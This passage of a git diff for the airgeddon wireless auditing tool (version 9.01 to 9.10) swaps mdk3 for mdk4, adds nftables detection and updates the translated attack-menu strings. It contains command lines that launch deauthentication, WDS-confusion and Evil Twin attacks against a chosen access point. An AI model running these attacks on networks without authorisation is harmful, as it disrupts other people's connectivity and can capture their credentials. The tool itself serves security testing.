2>&1 + ifconfig "${interface}" up > /dev/null 2>&1 + ifacemode="Managed" + else + if [ "${interface_airmon_compatible}" -eq 1 ]; then + new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) + + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + if [ "${interface}" != "${new_interface}" ]; then + interface=${new_interface} + phy_interface=$(basename "$(readlink "/sys/class/net/${interface}/phy80211")" 2> /dev/null) + current_iface_on_messages="${interface}" + fi + else + ifconfig "${interface}" down > /dev/null 2>&1 + iwconfig "${interface}" mode "monitor" > /dev/null 2>&1 + ifconfig "${interface}" up > /dev/null 2>&1 + fi + ifacemode="Monitor" + fi + } + + #Save some vars to a file to get read from main script + function save_returning_vars_to_file() { + { + echo -e "interface=${interface}" + echo -e "phy_interface=${phy_interface}" + echo -e "current_iface_on_messages=${current_iface_on_messages}" + echo -e "ifacemode=${ifacemode}" + } > "${enterprise_returning_vars_file}" + } + #Kill Evil Twin Enterprise processes function kill_enterprise_windows() { @@ -8440,6 +8587,12 @@ function set_enterprise_control_script() { echo -e "\t${log_reminder_msg}" echo echo -e "\t${done_msg}" + + if [ "${enterprise_heredoc_mode}" = "smooth" ]; then + restore_interface + save_returning_vars_to_file + fi + exit 0 fi EOF @@ -8555,10 +8708,10 @@ function set_et_control_script() { } >> "${et_captive_portal_logpath}" sleep 2 - kill "$(ps -C hostapd --no-headers -o pid)" &> /dev/null - kill "$(ps -C dhcpd --no-headers -o pid)" &> /dev/null - kill "$(ps -C aireplay-ng --no-headers -o pid)" &> /dev/null - kill "$(ps -C lighttpd --no-headers -o pid)" &> /dev/null + kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C dhcpd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C aireplay-ng --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C lighttpd --no-headers -o pid | tr -d ' ')" &> /dev/null kill_et_windows exit 0 } @@ -8970,7 +9123,7 @@ function launch_webserver() { debug_print - kill "$(ps -C lighttpd --no-headers -o pid)" &> /dev/null + kill "$(ps -C lighttpd --no-headers -o pid | tr -d ' ')" &> /dev/null recalculate_windows_sizes if [ ${captive_portal_mode} = "internet" ]; then lighttpd_window_position=${g3_bottomright_window} @@ -9108,7 +9261,7 @@ function kill_beef() { local beef_pid beef_pid="$(ps -C "${optional_tools_names[19]}" --no-headers -o pid | tr -d ' ')" if ! kill "${beef_pid}" &> /dev/null; then - kill "$(ps -C "beef" --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C "beef" --no-headers -o pid | tr -d ' ')" &> /dev/null fi } @@ -9445,11 +9598,11 @@ function kill_et_windows() { if [ "${dos_pursuit_mode}" -eq 1 ]; then kill_dos_pursuit_mode_processes case ${et_dos_attack} in - "Mdk3"|"Wds Confusion") - kill "$(ps -C mdk3 --no-headers -o pid)" &> /dev/null + "Mdk4"|"Wds Confusion") + kill "$(ps -C mdk4 --no-headers -o pid | tr -d ' ')" &> /dev/null ;; "Aireplay") - kill "$(ps -C aireplay-ng --no-headers -o pid)" &> /dev/null + kill "$(ps -C aireplay-ng --no-headers -o pid | tr -d ' ')" &> /dev/null ;; esac fi @@ -9460,10 +9613,10 @@ function kill_et_windows() { if [ -n "${enterprise_mode}" ]; then kill ${enterprise_process_control_window} &> /dev/null - kill "$(ps -C hostapd-wpe --no-headers -o pid)" &> /dev/null + kill "$(ps -C hostapd-wpe --no-headers -o pid | tr -d ' ')" &> /dev/null else kill ${et_process_control_window} &> /dev/null - kill "$(ps -C hostapd --no-headers -o pid)" &> /dev/null + kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null fi } @@ -9655,13 +9808,13 @@ function dos_attacks_menu() { language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 50 "separator" - language_strings "${language}" 51 mdk3_attack_dependencies[@] + language_strings "${language}" 51 mdk4_attack_dependencies[@] language_strings "${language}" 52 aireplay_attack_dependencies[@] - language_strings "${language}" 53 mdk3_attack_dependencies[@] + language_strings "${language}" 53 mdk4_attack_dependencies[@] language_strings "${language}" 54 "separator" - language_strings "${language}" 62 mdk3_attack_dependencies[@] - language_strings "${language}" 63 mdk3_attack_dependencies[@] - language_strings "${language}" 64 mdk3_attack_dependencies[@] + language_strings "${language}" 62 mdk4_attack_dependencies[@] + language_strings "${language}" 63 mdk4_attack_dependencies[@] + language_strings "${language}" 64 mdk4_attack_dependencies[@] print_hint ${current_menu} read -rp "> " dos_option @@ -9685,7 +9838,7 @@ function dos_attacks_menu() { if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - mdk3_deauth_option + mdk4_deauth_option fi ;; 6) @@ -9744,11 +9897,11 @@ function capture_handshake_evil_twin() { capture_handshake_window case ${et_dos_attack} in - "Mdk3") + "Mdk4") rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Aireplay") @@ -9759,7 +9912,7 @@ function capture_handshake_evil_twin() { ;; "Wds Confusion") recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 ;; esac @@ -10195,9 +10348,9 @@ function attack_handshake_menu() { print_simple_separator language_strings "${language}" 147 print_simple_separator - language_strings "${language}" 139 mdk3_attack_dependencies[@] + language_strings "${language}" 139 mdk4_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] - language_strings "${language}" 141 mdk3_attack_dependencies[@] + language_strings "${language}" 141 mdk4_attack_dependencies[@] print_hint ${current_menu} read -rp "> " attack_handshake_option @@ -10215,7 +10368,7 @@ function attack_handshake_menu() { rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -10240,7 +10393,7 @@ function attack_handshake_menu() { ask_timeout "capture_handshake" capture_handshake_window recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 fi ;; @@ -11065,9 +11218,9 @@ function et_dos_menu() { language_strings "${language}" 266 fi print_simple_separator - language_strings "${language}" 139 mdk3_attack_dependencies[@] + language_strings "${language}" 139 mdk4_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] - language_strings "${language}" 141 mdk3_attack_dependencies[@] + language_strings "${language}" 141 mdk4_attack_dependencies[@] print_hint ${current_menu} read -rp "> " et_dos_option @@ -11082,7 +11235,7 @@ function et_dos_menu() { if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - et_dos_attack="Mdk3" + et_dos_attack="Mdk4" echo language_strings "${language}" 509 "yellow" @@ -11464,9 +11617,9 @@ function exit_script_option() { action_on_exit_taken=1 language_strings "${language}" 297 "multiline" clean_routing_rules - kill "$(ps -C dhcpd --no-headers -o pid)" &> /dev/null - kill "$(ps -C hostapd --no-headers -o pid)" &> /dev/null - kill "$(ps -C lighttpd --no-headers -o pid)" &> /dev/null + kill "$(ps -C dhcpd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C lighttpd --no-headers -o pid | tr -d ' ')" &> /dev/null kill_beef time_loop echo -e "${green_color} Ok\r${normal_color}" @@ -11510,9 +11663,9 @@ function hardcore_exit() { if [ ${routing_modified} -eq 1 ]; then clean_routing_rules - kill "$(ps -C dhcpd --no-headers -o pid)" &> /dev/null - kill "$(ps -C hostapd --no-headers -o pid)" &> /dev/null - kill "$(ps -C lighttpd --no-headers -o pid)" &> /dev/null + kill "$(ps -C dhcpd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C lighttpd --no-headers -o pid | tr -d ' ')" &> /dev/null kill_beef fi @@ -11540,15 +11693,36 @@ function time_loop() { done } -#Fix iptables if needed -function iptables_fix() { +#Detect iptables/nftables +function iptables_nftables_detection() { debug_print - iptables_cmd="iptables" + if ! "${AIRGEDDON_FORCE_IPTABLES:-false}"; then + if hash nft 2> /dev/null; then + iptables_nftables=1 + else + iptables_nftables=0 + fi + else + if ! hash iptables 2> /dev/null && ! hash iptables-legacy 2> /dev/null; then + echo + language_strings "${language}" 615 "red" + exit_code=1 + exit_script_option + else + iptables_nftables=0 + fi + fi - if hash iptables-legacy 2> /dev/null; then - iptables_cmd="iptables-legacy" + if [ "${iptables_nftables}" -eq 0 ]; then + if hash iptables-legacy 2> /dev/null; then + iptables_cmd="iptables-legacy" + else + iptables_cmd="iptables" + fi + else + iptables_cmd="nft" fi } @@ -12308,7 +12482,7 @@ function check_compatibility() { echo language_strings "${language}" 111 "red" echo - if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then + if "${AIRGEDDON_SILENT_CHECKS:-true}"; then language_strings "${language}" 581 "blue" echo fi @@ -12665,6 +12839,7 @@ function env_vars_initialization() { "AIRGEDDON_SILENT_CHECKS" "AIRGEDDON_PRINT_HINTS" "AIRGEDDON_5GHZ_ENABLED" + "AIRGEDDON_FORCE_IPTABLES" "AIRGEDDON_DEVELOPMENT_MODE" "AIRGEDDON_DEBUG_MODE" ) @@ -12680,6 +12855,7 @@ function env_vars_initialization() { boolean_options_env_vars["${ordered_options_env_vars[7]},default_value"]="true" boolean_options_env_vars["${ordered_options_env_vars[8]},default_value"]="false" boolean_options_env_vars["${ordered_options_env_vars[9]},default_value"]="false" + boolean_options_env_vars["${ordered_options_env_vars[10]},default_value"]="false" boolean_options_env_vars["${ordered_options_env_vars[0]},rcfile_text"]="#Enabled true / Disabled false - Auto update feature (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[0]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[1]},rcfile_text"]="#Enabled true / Disabled false - Skip intro (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[1]},'default_value']}" @@ -12689,8 +12865,9 @@ function env_vars_initialization() { boolean_options_env_vars["${ordered_options_env_vars[5]},rcfile_text"]="#Enabled true / Disabled false - Dependencies, root and bash version checks are done silently (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[5]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[6]},rcfile_text"]="#Enabled true / Disabled false - Print help hints on menus - Default value ${boolean_options_env_vars[${ordered_options_env_vars[6]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[7]},rcfile_text"]="#Enabled true / Disabled false - Enable 5Ghz support (it has no effect if your cards are not 5Ghz compatible cards) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[7]},'default_value']}" - boolean_options_env_vars["${ordered_options_env_vars[8]},rcfile_text"]="#Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[8]},'default_value']}" - boolean_options_env_vars["${ordered_options_env_vars[9]},rcfile_text"]="#Enabled true / Disabled false - Debug mode for development printing debug information - Default value ${boolean_options_env_vars[${ordered_options_env_vars[9]},'default_value']}" + boolean_options_env_vars["${ordered_options_env_vars[8]},rcfile_text"]="#Enabled true / Disabled false - Force to use iptables instead of nftables (it has no effect if nftables are not present) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[8]},'default_value']}" + boolean_options_env_vars["${ordered_options_env_vars[9]},rcfile_text"]="#Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[9]},'default_value']}" + boolean_options_env_vars["${ordered_options_env_vars[10]},rcfile_text"]="#Enabled true / Disabled false - Debug mode for development printing debug information - Default value ${boolean_options_env_vars[${ordered_options_env_vars[10]},'default_value']}" readarray -t ENV_VARS_ELEMENTS < <(printf %s\\n "${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) ENV_BOOLEAN_VARS_ELEMENTS=("${ENV_VARS_ELEMENTS[@]}") @@ -12927,7 +13104,7 @@ function main() { check_update_tools fi - iptables_fix + iptables_nftables_detection print_configuration_vars_issues initialize_extended_colorized_output set_windows_sizes @@ -13230,7 +13407,7 @@ function remove_warnings() { echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1 echo "${aircrack_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1 - echo "${mdk3_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${mdk4_attack_dependencies[@]}" > /dev/null 2>&1 echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1 diff --git a/binaries/arch/airgeddon-git-9.01-1-any.pkg.tar.xz b/binaries/arch/airgeddon-git-9.01-1-any.pkg.tar.xz deleted file mode 100644 index 888edb217..000000000 Binary files a/binaries/arch/airgeddon-git-9.01-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/airgeddon-git-9.10-1-any.pkg.tar.xz b/binaries/arch/airgeddon-git-9.10-1-any.pkg.tar.xz new file mode 100644 index 000000000..2d86e66c4 Binary files /dev/null and b/binaries/arch/airgeddon-git-9.10-1-any.pkg.tar.xz differ diff --git a/binaries/arch/legacy/airgeddon-git-6.21-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-6.21-1-any.pkg.tar.xz deleted file mode 100644 index 253076adb..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-6.21-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.0-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.0-1-any.pkg.tar.xz deleted file mode 100644 index 2a7ddc16d..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.0-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.02-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.02-1-any.pkg.tar.xz deleted file mode 100644 index 393bcaf21..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.02-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.1-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.1-1-any.pkg.tar.xz deleted file mode 100644 index 0d8d92b85..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.1-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.11-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.11-1-any.pkg.tar.xz deleted file mode 100644 index da893d4c8..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.11-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.2-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.2-1-any.pkg.tar.xz deleted file mode 100644 index 9c1e8bc65..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.2-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.21-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.21-1-any.pkg.tar.xz deleted file mode 100644 index 65f747b7a..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.21-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.22-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.22-1-any.pkg.tar.xz deleted file mode 100644 index 26af71360..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.22-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-7.23-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.23-1-any.pkg.tar.xz deleted file mode 100644 index d0f8c3c17..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-7.23-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-8.0-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-8.0-1-any.pkg.tar.xz deleted file mode 100644 index 79417c636..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-8.0-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-8.01-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-8.01-1-any.pkg.tar.xz deleted file mode 100644 index fcec79f52..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-8.01-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-8.10-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-8.10-1-any.pkg.tar.xz deleted file mode 100644 index 730bf50df..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-8.10-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-8.11-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-8.11-1-any.pkg.tar.xz deleted file mode 100644 index a4bc6e6a4..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-8.11-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-8.12-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-8.12-1-any.pkg.tar.xz deleted file mode 100644 index 8423e69ac..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-8.12-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/arch/legacy/airgeddon-git-9.0-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-9.0-1-any.pkg.tar.xz deleted file mode 100644 index dbd773048..000000000 Binary files a/binaries/arch/legacy/airgeddon-git-9.0-1-any.pkg.tar.xz and /dev/null differ diff --git a/binaries/kali/airgeddon_9.01-1_all.deb b/binaries/kali/airgeddon_9.01-1_all.deb deleted file mode 100644 index 30943a225..000000000 Binary files a/binaries/kali/airgeddon_9.01-1_all.deb and /dev/null differ diff --git a/binaries/kali/airgeddon_9.10-1_all.deb b/binaries/kali/airgeddon_9.10-1_all.deb new file mode 100644 index 000000000..e0f1cbc67 Binary files /dev/null and b/binaries/kali/airgeddon_9.10-1_all.deb differ diff --git a/binaries/kali/legacy/airgeddon_4.31-1_all.deb b/binaries/kali/legacy/airgeddon_4.31-1_all.deb deleted file mode 100644 index abe76774d..000000000 Binary files a/binaries/kali/legacy/airgeddon_4.31-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_6.12-1_all.deb b/binaries/kali/legacy/airgeddon_6.12-1_all.deb deleted file mode 100644 index f269f6064..000000000 Binary files a/binaries/kali/legacy/airgeddon_6.12-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_6.2-1_all.deb b/binaries/kali/legacy/airgeddon_6.2-1_all.deb deleted file mode 100644 index 2a761a548..000000000 Binary files a/binaries/kali/legacy/airgeddon_6.2-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_6.21-1_all.deb b/binaries/kali/legacy/airgeddon_6.21-1_all.deb deleted file mode 100644 index ee2ddf547..000000000 Binary files a/binaries/kali/legacy/airgeddon_6.21-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.0-1_all.deb b/binaries/kali/legacy/airgeddon_7.0-1_all.deb deleted file mode 100644 index 33edd38b8..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.0-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.01-1_all.deb b/binaries/kali/legacy/airgeddon_7.01-1_all.deb deleted file mode 100644 index ac65967b3..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.01-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.02-1_all.deb b/binaries/kali/legacy/airgeddon_7.02-1_all.deb deleted file mode 100644 index 9a34b6b2d..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.02-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.1-1_all.deb b/binaries/kali/legacy/airgeddon_7.1-1_all.deb deleted file mode 100644 index d1984e842..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.1-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.11-1_all.deb b/binaries/kali/legacy/airgeddon_7.11-1_all.deb deleted file mode 100644 index 361ed32eb..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.11-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.2-1_all.deb b/binaries/kali/legacy/airgeddon_7.2-1_all.deb deleted file mode 100644 index 4112593fa..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.2-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.21-1_all.deb b/binaries/kali/legacy/airgeddon_7.21-1_all.deb deleted file mode 100644 index 8dad9d40b..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.21-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.22-1_all.deb b/binaries/kali/legacy/airgeddon_7.22-1_all.deb deleted file mode 100644 index 5524ae79c..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.22-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_7.23-1_all.deb b/binaries/kali/legacy/airgeddon_7.23-1_all.deb deleted file mode 100644 index 8de261d84..000000000 Binary files a/binaries/kali/legacy/airgeddon_7.23-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_8.0-1_all.deb b/binaries/kali/legacy/airgeddon_8.0-1_all.deb deleted file mode 100644 index 3fa6c8706..000000000 Binary files a/binaries/kali/legacy/airgeddon_8.0-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_8.01-1_all.deb b/binaries/kali/legacy/airgeddon_8.01-1_all.deb deleted file mode 100644 index 044e8aa74..000000000 Binary files a/binaries/kali/legacy/airgeddon_8.01-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_8.10-1_all.deb b/binaries/kali/legacy/airgeddon_8.10-1_all.deb deleted file mode 100644 index e303ed5e9..000000000 Binary files a/binaries/kali/legacy/airgeddon_8.10-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_8.11-1_all.deb b/binaries/kali/legacy/airgeddon_8.11-1_all.deb deleted file mode 100644 index 2b1377240..000000000 Binary files a/binaries/kali/legacy/airgeddon_8.11-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_8.12-1_all.deb b/binaries/kali/legacy/airgeddon_8.12-1_all.deb deleted file mode 100644 index ef9db5a82..000000000 Binary files a/binaries/kali/legacy/airgeddon_8.12-1_all.deb and /dev/null differ diff --git a/binaries/kali/legacy/airgeddon_9.0-1_all.deb b/binaries/kali/legacy/airgeddon_9.0-1_all.deb deleted file mode 100644 index 7be19a919..000000000 Binary files a/binaries/kali/legacy/airgeddon_9.0-1_all.deb and /dev/null differ diff --git a/language_strings.sh b/language_strings.sh index b7681f9ef..c0e01add1 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190121 +#Date.........: 20190309 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="9.01-1" + language_strings_version="9.10-1" } #Set different language text strings @@ -1269,17 +1269,17 @@ function language_strings() { arr["GERMAN",34]="Die ausgewählte Interface ${current_iface_on_messages} befindet sich im monitor Modus. Der Angriff kann ausgeführt werden" arr["TURKISH",34]="Seçilen arayüz ${current_iface_on_messages} izleme modunda. Saldırı yapılabilir" - arr["ENGLISH",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" - arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" - arr["FRENCH",35]="L'attaque de Dés-authentification / Dissociation mdk3 a été choisie (mode moniteur nécessaire)" - arr["CATALAN",35]="Seleccionat atac de Desautenticació / Dissociació mdk3 (es requereix mode monitor)" - arr["PORTUGUESE",35]="Ataque de desautenticação com mdk3 (modo monitor obrigatório)" - arr["RUSSIAN",35]="Выбрана mdk3 атака Деаутентификации / Разъединения (необходим режим монитора)" - arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk3 (χρειάζεται η κατάσταση παρακολούθησης)" - arr["ITALIAN",35]="Attacco Deauth / Disassociation mdk3 scelto (modalità monitor richiesta)" - arr["POLISH",35]="Wybrano atak Deauthentication / Disassociation mdk3 (wymagany tryb monitorowania)" - arr["GERMAN",35]="Deauthentication / Disassociation mdk3 Angriff ausgewählt (monitor-Modus erforderlich)" - arr["TURKISH",35]="Deauthentication / Dissasociation mdk3 saldırısı seçildi (izleme modu gereklidir)" + arr["ENGLISH",35]="Deauthentication / Dissasociation mdk4 attack chosen (monitor mode needed)" + arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk4 (modo monitor requerido)" + arr["FRENCH",35]="L'attaque de Dés-authentification / Dissociation mdk4 a été choisie (mode moniteur nécessaire)" + arr["CATALAN",35]="Seleccionat atac de Desautenticació / Dissociació mdk4 (es requereix mode monitor)" + arr["PORTUGUESE",35]="Ataque de desautenticação com mdk4 (modo monitor obrigatório)" + arr["RUSSIAN",35]="Выбрана mdk4 атака Деаутентификации / Разъединения (необходим режим монитора)" + arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk4 (χρειάζεται η κατάσταση παρακολούθησης)" + arr["ITALIAN",35]="Attacco Deauth / Disassociation mdk4 scelto (modalità monitor richiesta)" + arr["POLISH",35]="Wybrano atak Deauthentication / Disassociation mdk4 (wymagany tryb monitorowania)" + arr["GERMAN",35]="Deauthentication / Disassociation mdk4 Angriff ausgewählt (monitor-Modus erforderlich)" + arr["TURKISH",35]="Deauthentication / Dissasociation mdk4 saldırısı seçildi (izleme modu gereklidir)" arr["ENGLISH",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["SPANISH",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" @@ -1461,17 +1461,17 @@ function language_strings() { arr["GERMAN",50]="monitor-Modus bei Angriffen erforderlich" arr["TURKISH",50]="saldırılar için izleme modu gereklidir" - arr["ENGLISH",51]="5. Deauth / disassoc amok mdk3 attack" - arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok mdk3" - arr["FRENCH",51]="5. Attaque Deauth / Disassoc amok mdk3" - arr["CATALAN",51]="5. Atac Deauth / Disassoc amok mdk3" - arr["PORTUGUESE",51]="5. Ataque Deauth / Disassoc amok mdk3" - arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok mdk3" - arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok mdk3" - arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",51]="5. Atak Deauth / Disassoc amok mdk3" - arr["GERMAN",51]="5. Deauth / Disassoc Amok mdk3 Angriff" - arr["TURKISH",51]="5. Deauth / disassoc amok mdk3 saldırısı" + arr["ENGLISH",51]="5. Deauth / disassoc amok mdk4 attack" + arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok mdk4" + arr["FRENCH",51]="5. Attaque Deauth / Disassoc amok mdk4" + arr["CATALAN",51]="5. Atac Deauth / Disassoc amok mdk4" + arr["PORTUGUESE",51]="5. Ataque Deauth / Disassoc amok mdk4" + arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok mdk4" + arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok mdk4" + arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok mdk4" + arr["POLISH",51]="5. Atak Deauth / Disassoc amok mdk4" + arr["GERMAN",51]="5. Deauth / Disassoc Amok mdk4 Angriff" + arr["TURKISH",51]="5. Deauth / disassoc amok mdk4 saldırısı" arr["ENGLISH",52]="6. Deauth aireplay attack" arr["SPANISH",52]="6. Ataque Deauth aireplay" @@ -1918,17 +1918,17 @@ function language_strings() { arr["GERMAN",88]="Interface-Auswahl" arr["TURKISH",88]="Arayüz seçimi" - arr["ENGLISH",89]="Mdk3 